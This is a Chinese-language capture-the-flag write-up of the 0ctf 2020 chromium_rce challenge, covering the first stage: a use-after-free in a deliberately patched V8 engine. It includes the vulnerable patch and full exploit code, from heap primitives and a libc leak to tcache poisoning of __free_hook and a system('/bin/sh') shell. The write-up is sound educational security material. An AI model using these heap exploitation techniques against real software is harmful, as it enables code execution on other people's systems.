沙箱逃逸之0ctf2020 chromium_rce writeup
字数 967 2025-08-06 18:08:01

Chromium V8沙箱逃逸漏洞分析与利用教程

漏洞背景

本教程分析的是0ctf 2020比赛中的Chromium RCE题目,涉及V8引擎中的沙箱逃逸漏洞。题目包含三个部分:

  1. 对打了补丁的V8进行利用
  2. 在Chrome中开启Mojo实现沙箱逃逸
  3. 结合前两部分实现完整利用链

本教程重点分析第一部分——V8漏洞的利用。

环境准备

编译特定版本V8

git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b
gclient sync
git apply < ../tctf.diff
tools/dev/gm.py x64.release
tools/dev/gm.py x64.debug

题目文件

  • d8:V8的JavaScript shell
  • snapshot_blob.bin:V8快照文件
  • tctf.diff:漏洞补丁文件

漏洞分析

TypedArray.prototype.set功能

TypedArray.prototype.set()方法用于从指定数组中读取值并存储在类型化数组中:

typedarray.set(array[, offset])
typedarray.set(typedarray[, offset])

示例:

var buffer = new ArrayBuffer(8);
var uint8 = new Uint8Array(buffer);
uint8.set([1, 2, 3], 3);
console.log(uint8); // Uint8Array [0, 0, 0, 1, 2, 3, 0, 0]

补丁分析

关键补丁有两部分:

  1. 移除内存检查
- const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+ const utarget = %RawDownCast(target);
...
- const utypedArray = typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+ const utypedArray = %RawDownCast(typedArray);

EnsureAttached函数会检查缓冲区是否已释放:

macro EnsureAttached(array: JSTypedArray): AttachedJSTypedArray labels Detached {
    if (IsDetachedBuffer(array.buffer)) goto Detached;
    return %RawDownCast(array);
}
  1. 允许直接调用内部函数
case Token::MOD:
-    if (flags().allow_natives_syntax() || extension_ != nullptr) {
-        return ParseV8Intrinsic();
-    }
-    break;
+    // Directly call %ArrayBufferDetach without `--allow-native-syntax` flag
+    return ParseV8Intrinsic();

但限制只能调用%ArrayBufferDetach

+ // Only %ArrayBufferDetach allowed
+ if (function->function_id != Runtime::kArrayBufferDetach) {
+     return factory()->NewUndefinedLiteral(kNoSourcePosition);
+ }

漏洞原理

结合这两个补丁:

  1. 可以直接使用%ArrayBufferDetach释放TypedArray的数据内存
  2. 释放后仍可调用TypedArray.prototype.set操作该内存
  3. 形成Use-After-Free (UAF)漏洞

漏洞利用

基础原语构造

// 分配内存
function calloc(size) {
    let uint8 = new Uint8Array(size);
    return uint8;
}

function malloc(size) {
    var malloc_size = {};
    malloc_size.length = size;
    let uint8 = new Uint8Array(malloc_size);
    return uint8;
}

// 释放内存
function free(ptr) {
    %ArrayBufferDetach(ptr.buffer);
}

// 读写原语
function write64(ptr, offset, val) {
    let dv = new DataView(ptr.buffer);
    dv.setBigInt64(offset, val, true);
    return;
}

function read64(ptr, offset) {
    let dv = new DataView(ptr.buffer);
    val = dv.getBigInt64(offset, true);
    return val;
}

利用步骤

  1. 泄露libc地址
// 分配大块内存(0x600)
let leak_ptr = calloc(0x600);
let read_ptr = calloc(0x600);

// 分配包含"/bin/sh"的块
let gap = calloc(0x100);
write64(gap, 0, 0x68732f6e69622fn);

// 释放大块到unsorted bin
free(leak_ptr);

// 利用UAF泄露libc地址
read_ptr.set(leak_ptr);
let libc_base = read64(read_ptr, 8) - 0x1ebbe0n;
console.log("[+] libc base: 0x" + hex(libc_base));
  1. 控制tcache
// 分配tcache块(0x60)
let evil_ptr = malloc(0x60);
let evil_ptr1 = malloc(0x60);
let write_ptr = malloc(0x60);

// 准备free_hook地址
write64(write_ptr, 0, free_hook);

// 释放块到tcache
free(evil_ptr1);
free(evil_ptr);

// 修改tcache fd指向free_hook
evil_ptr.set(write_ptr);

// 分配出tcache块
let reserved_ptr = malloc(0x60);
let free_hook_ptr = malloc(0x60);
  1. 获取shell
// 写入system地址到free_hook
write64(free_hook_ptr, 0, system_addr);

// 释放包含"/bin/sh"的块触发system
free(gap);

关键点说明

  1. 内存分配差异

    • new Uint8Array(size)使用calloc分配
    • new Uint8Array({length: size})使用malloc分配
  2. 调试技巧

    • 建议移除对内置函数的限制,方便使用%DebugPrint等调试函数
    • 使用gdb调试时关注内存分配和释放过程
  3. 利用限制

    • 题目限制了只能使用%ArrayBufferDetach内置函数
    • 需要精确控制堆布局

总结

本漏洞展示了如何利用V8引擎中TypedArray的内存管理缺陷实现沙箱逃逸。关键点包括:

  1. 绕过内存释放检查
  2. 构造UAF原语
  3. 利用堆管理机制泄露地址
  4. 通过tcache poisoning实现任意地址写

这种类型的漏洞在浏览器安全中具有重要意义,理解其原理有助于开发更安全的JavaScript引擎和防御措施。

Chromium V8沙箱逃逸漏洞分析与利用教程 漏洞背景 本教程分析的是0ctf 2020比赛中的Chromium RCE题目,涉及V8引擎中的沙箱逃逸漏洞。题目包含三个部分: 对打了补丁的V8进行利用 在Chrome中开启Mojo实现沙箱逃逸 结合前两部分实现完整利用链 本教程重点分析第一部分——V8漏洞的利用。 环境准备 编译特定版本V8 题目文件 d8:V8的JavaScript shell snapshot_ blob.bin:V8快照文件 tctf.diff:漏洞补丁文件 漏洞分析 TypedArray.prototype.set功能 TypedArray.prototype.set() 方法用于从指定数组中读取值并存储在类型化数组中: 示例: 补丁分析 关键补丁有两部分: 移除内存检查 : 原 EnsureAttached 函数会检查缓冲区是否已释放: 允许直接调用内部函数 : 但限制只能调用 %ArrayBufferDetach : 漏洞原理 结合这两个补丁: 可以直接使用 %ArrayBufferDetach 释放TypedArray的数据内存 释放后仍可调用 TypedArray.prototype.set 操作该内存 形成Use-After-Free (UAF)漏洞 漏洞利用 基础原语构造 利用步骤 泄露libc地址 : 控制tcache : 获取shell : 关键点说明 内存分配差异 : new Uint8Array(size) 使用 calloc 分配 new Uint8Array({length: size}) 使用 malloc 分配 调试技巧 : 建议移除对内置函数的限制,方便使用 %DebugPrint 等调试函数 使用gdb调试时关注内存分配和释放过程 利用限制 : 题目限制了只能使用 %ArrayBufferDetach 内置函数 需要精确控制堆布局 总结 本漏洞展示了如何利用V8引擎中TypedArray的内存管理缺陷实现沙箱逃逸。关键点包括: 绕过内存释放检查 构造UAF原语 利用堆管理机制泄露地址 通过tcache poisoning实现任意地址写 这种类型的漏洞在浏览器安全中具有重要意义,理解其原理有助于开发更安全的JavaScript引擎和防御措施。